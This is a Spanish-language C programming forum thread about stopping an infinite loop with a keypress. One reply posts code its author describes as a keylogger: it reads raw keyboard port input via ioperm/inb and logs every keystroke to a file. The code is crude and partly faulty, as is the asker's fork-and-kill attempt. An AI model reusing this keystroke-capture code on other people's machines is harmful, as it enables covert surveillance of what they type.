Bucle infinito interumpible

Iniciado por soyloqbuskas, 22 Agosto 2012, 22:22 PM

0 Miembros y 1 Visitante están viendo este tema.

soyloqbuskas

¡Buenas a todos!

Estoy haciendo una funcion que tiene un bucle que se debe poder para cuando pulse 'q', pero....que no se pare si no he pulsado la letra....Y es que si lo hago con un getchar(); el bucle se para a cada iteracion asi que no me vale....

¿Alguna idea?

Gracias, un saludo.
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

0xDani

Investiga sobre hacer polling al teclado.

Saludos.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

soyloqbuskas

Estoy probando ha hacerlo con procesos....un proceso ejecuta el bucle infinito y el otro un getchar que al leer el caracter correcto mata al otro proceso....

Pero no me termina de funcionar.....¿me podeis hecar un cable?


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
        char c='a';
        int pid;
        if ((pid=fork())>0){
                while(1) printf("Presione q para cerrar\n");
        }
        else{
                c=getchar();
                if (c=='q') system("kill 9 pid");
        }
        return 0;
}

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

0xDani

No, ahi no creo que sea aconsejable usar procesos. En serio, la solucion es hacer polling al teclado.
Si trabajas en un sistema tipo Unix(lo que deduzco del hecho de que uses unistd.h), puede que te sirva esto, que creo recordar que era un keylogger.
Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50

        char key(int code){
     char caracter=code;   
     return caracter;}

        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <file>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);//Esto no sale si le pasa un argumento.
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");//A mi me sale este error.
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                        }
                                }
                        }
                        usleep(SLEEP);
                }
                return 0;}


Saludos.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM